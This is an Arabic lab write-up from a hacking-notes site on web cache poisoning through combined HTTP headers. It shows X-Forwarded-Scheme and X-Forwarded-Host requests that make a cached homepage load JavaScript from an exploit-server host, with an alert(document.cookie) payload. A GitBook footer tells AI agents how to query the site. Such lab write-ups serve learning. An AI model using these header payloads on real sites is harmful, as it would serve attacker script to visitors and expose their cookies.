> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).

# تسميم الذاكرة المؤقتة عبر عدة ترويسات

### تسميم ذاكرة التخزين المؤقت للويب باستخدام عدة رؤوس

تقدم هذه المختبرات ثغرة لتسميم ذاكرة التخزين المؤقت للويب القابلة للاستغلال فقط من خلال الجمع بين عدة رؤوس HTTP. / يزور مستخدم الصفحة الرئيسية مرة واحدة تقريبًا في الدقيقة. / الهدف هو تسميم ذاكرة التخزين المؤقت بحيث يؤدي الرد في متصفح الضحية إلى تشغيل `alert(document.cookie)`.

**التحليل الأولي**

* اعتراض الطلب إلى جذر الموقع (`/`).
* يبدو أن الإجابة مخزنة مؤقتًا ويُعاد استخدامها للزوار التاليين.

<figure><img src="/files/8f5a4228e55062813e8f0eb052abefc9b5036734" alt=""><figcaption></figcaption></figure>

**الرؤوس القابلة للاستغلال المكتشفة**

* استخدام الامتداد **Param Miner** لتخمين الرؤوس غير المفهرسة.

<figure><img src="/files/056e425873feacd1a4670f077a3f19e9a3558c40" alt=""><figcaption></figcaption></figure>

* تكتشف الأداة الرأس **`X-Forwarded-Scheme`**.

<figure><img src="/files/b49505d8070909e44e7fdc76b502a8a833ddc897" alt=""><figcaption></figcaption></figure>

**`X-Forwarded-Scheme` اختبار**

* يشير هذا الرأس إلى ما إذا كان الطلب يُعامل على أنه قادم عبر HTTP أو HTTPS.
* إرسال:

```http
X-Forwarded-Scheme: http
```

* يحاول الموقع أن يتصرف كما لو أنه عُرض عبر HTTP.

<figure><img src="/files/062a6e6280c86a3b9ea3aa0525e8313f038ff7d6" alt=""><figcaption></figcaption></figure>

يتسبب هذا في خلل، ولم تعد الموارد تُحمَّل بشكل صحيح بسبب عمليات إعادة التوجيه غير الصحيحة.

<figure><img src="/files/d40bcdb9b690b9ba09015823ea368abca4f6dff6" alt=""><figcaption></figcaption></figure>

**أضف رأسًا ثانيًا: `X-Forwarded-Host`**

```http
X-Forwarded-Host: test.com
```

* يحاول الموقع بعد ذلك تحميل موارده من هذه المنطقة.

<figure><img src="/files/d457e4492a7f6ff04a20f14ff4c37eef216e119c" alt=""><figcaption></figcaption></figure>

يتضمن تحميل ملف JavaScript ما يلي:

يُنفَّذ هذا البرنامج النصي تلقائيًا عند تحميل الصفحة.

<figure><img src="/files/1a4e3b055c2bbc7c5f64ab49219c4f8c1c0e8550" alt=""><figcaption></figcaption></figure>

**التشغيل باستخدام خادم الاستغلال**

* الهدف هو فرض تحميل ملف JavaScript من خادم الاستغلال.

```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```

على خادم الاستغلال:

* أنشئ ملفًا يمكن الوصول إليه عبر الرابط:

محتوى الملف:

```javascript
alert(document.cookie)
```

<figure><img src="/files/065076ff1849529cbffde3179f7b46ffed4011eb" alt=""><figcaption></figcaption></figure>

**النتيجة**

* تُحمَّل الصفحة الرئيسية الآن برنامج JavaScript النصي من خادم الاستغلال.

<figure><img src="/files/9a301cd0b5fd20c148abe5fa1ec2ae5f5c3a9838" alt=""><figcaption></figcaption></figure>

* يكون الرد المسموم مخفيًا.
* عندما يزور مستخدم الصفحة، يُشغَّل البرنامج النصي تلقائيًا.
* يظهر تنبيه يعرض `document.cookie` في متصفح الضحية.

<figure><img src="/files/df558c54ffe77895770ed27691e24b454a3f9679" alt="" width="427"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
